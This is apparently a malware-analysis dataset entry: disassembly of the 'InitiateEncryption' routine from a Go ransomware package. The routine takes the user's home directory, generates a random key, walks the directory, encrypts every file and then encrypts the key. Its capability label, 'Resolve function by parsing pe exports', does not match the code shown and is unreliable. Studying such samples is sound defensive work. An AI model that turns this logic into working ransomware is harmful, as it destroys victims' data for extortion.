Function at 0x5a3b10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x75a1cc]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
lea eax, [esp - 0x10]
cmp eax, dword [ecx + 8]
jbe 0x5a3f0d
sub esp, 0x90
call sym.os.UserHomeDir
mov eax, dword [esp + 8]
mov ecx, dword [esp]
mov edx, dword [esp + 4]
mov ebx, dword [esp + 0xc]
test eax, eax
je 0x5a3bbd
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 0
je 0x5a3b61
mov eax, dword [eax + 4]
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], ebx
lea eax, [0x5eb288]
mov dword [esp], eax
mov dword [esp + 4], 0x25
lea eax, [esp + 0x88]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 1
call sym.fmt.Errorf
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], ecx
add esp, 0x90
ret
mov dword [esp + 0x40], ecx
mov dword [esp + 0x20], edx
call sym.os.Executable
mov eax, dword [esp + 8]
mov ecx, dword [esp]
mov edx, dword [esp + 4]
test eax, eax
jne 0x5a3d01
mov dword [esp + 0x24], edx
mov dword [esp + 0x50], ecx
call sym.path_filepath.Base
mov eax, dword [0x716c90]
mov ecx, dword [0x716c8c]
inc ecx
mov edx, dword [0x716c88]
mov ebx, dword [esp + 8]
mov ebp, dword [esp + 0xc]
cmp eax, ecx
jae 0x5a3c73
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x2c], ebp
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 1
lea eax, [0x5ba800]
mov dword [esp + 0x10], eax
call sym.runtime.growslice
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [0x716c90], eax
mov eax, dword [0x75a278]
test eax, eax
je 0x5a3c5f
call sym.runtime.gcWriteBarrier2
mov dword [edi], ecx
mov eax, dword [0x716c88]
mov dword [edi + 4], eax
mov dword [0x716c88], ecx
mov ebx, dword [esp + 0x5c]
mov ebp, dword [esp + 0x2c]
mov eax, ecx
mov ecx, edx
mov edx, eax
mov dword [0x716c8c], ecx
lea eax, [edx + ecx*8 - 4]
mov dword [eax], ebp
mov eax, dword [0x75a278]
lea ecx, [edx + ecx*8 - 8]
test eax, eax
je 0x5a3c99
call sym.runtime.gcWriteBarrier2
mov dword [edi], ebx
mov eax, dword [ecx]
mov dword [edi + 4], eax
mov dword [ecx], ebx
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov eax, dword [esp + 0x50]
mov dword [esp], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
call sym.runtime.convTstring
mov eax, dword [esp + 8]
lea ecx, [0x5ba800]
mov dword [esp + 0x68], ecx
mov dword [esp + 0x6c], eax
mov eax, dword [0x71ae8c]
lea ecx, [0x627a90]
mov dword [esp], ecx
mov dword [esp + 4], eax
lea eax, [esp + 0x68]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 1
call sym.fmt.Fprintln
lea eax, [0x5ba880]
mov dword [esp], eax
mov dword [esp + 4], 0x20
mov dword [esp + 8], 0x20
call sym.runtime.makeslice
mov eax, dword [esp + 0xc]
mov dword [esp + 0x58], eax
mov dword [esp], eax
mov dword [esp + 4], 0x20
mov dword [esp + 8], 0x20
call sym.crypto_rand.Read
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x5a3ef7
mov eax, dword [esp + 0x58]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], 0x20
mov dword [esp + 0x3c], 0x20
lea eax, [esp + 0x30]
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x84], 0
lea eax, [sym.git.darkress.xyz_darkress_ransomware_pkg_ransomware.InitiateEncryption.func1]
mov dword [esp + 0x80], eax
lea eax, [esp + 0x44]
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
lea eax, [esp + 0x80]
mov dword [esp + 8], eax
call sym.path_filepath.WalkDir
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x5a3de4
mov eax, dword [esp + 0x44]
mov dword [esp + 0x54], eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x2c], ecx
xor edx, edx
jmp 0x5a3e10
mov dword [esp + 0x94], 0
mov dword [esp + 0x98], 0
add esp, 0x90
ret
mov ebx, dword [esp + 0x28]
lea edx, [ebx + 1]
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x2c]
cmp edx, ecx
jge 0x5a3ece
mov dword [esp + 0x28], edx
lea ecx, [eax + edx*8]
mov ebx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [esp], ebx
mov dword [esp + 4], ecx
lea ecx, [esp + 0x34]
mov dword [esp + 8], ecx
call sym.git.darkress.xyz_darkress_ransomware_pkg_ransomware.encryptFile
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x5a3e01
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
je 0x5a3e59
mov eax, dword [eax + 4]
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], ecx
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
mov dword [esp + 0x7c], 0
lea eax, [sym.git.darkress.xyz_darkress_ransomware_pkg_ransomware.InitiateEncryption.Println.func2]
mov dword [esp + 0x70], eax
mov dword [esp + 0x78], 1
mov dword [esp + 0x7c], 1
lea ecx, [esp + 0x60]
mov dword [esp + 0x74], ecx
mov ecx, dword [0x71ae80]
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 2
lea ecx, [esp + 0x70]
mov dword [esp + 0xc], ecx
call sym.log._Logger_.output
jmp 0x5a3e01
lea eax, [esp + 0x34]
mov dword [esp], eax
call sym.git.darkress.xyz_darkress_ransomware_pkg_ransomware.encryptSymmetricKey
mov dword [esp + 0x94], 0
mov dword [esp + 0x98], 0
add esp, 0x90
ret
je 0x5a3efc
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x14]
mov dword [esp], eax
mov dword [esp + 4], ecx
call sym.runtime.gopanic
nop
call sym.runtime.morestack_noctxt
jmp sym.git.darkress.xyz_darkress_ransomware_pkg_ransomware.InitiateEncryption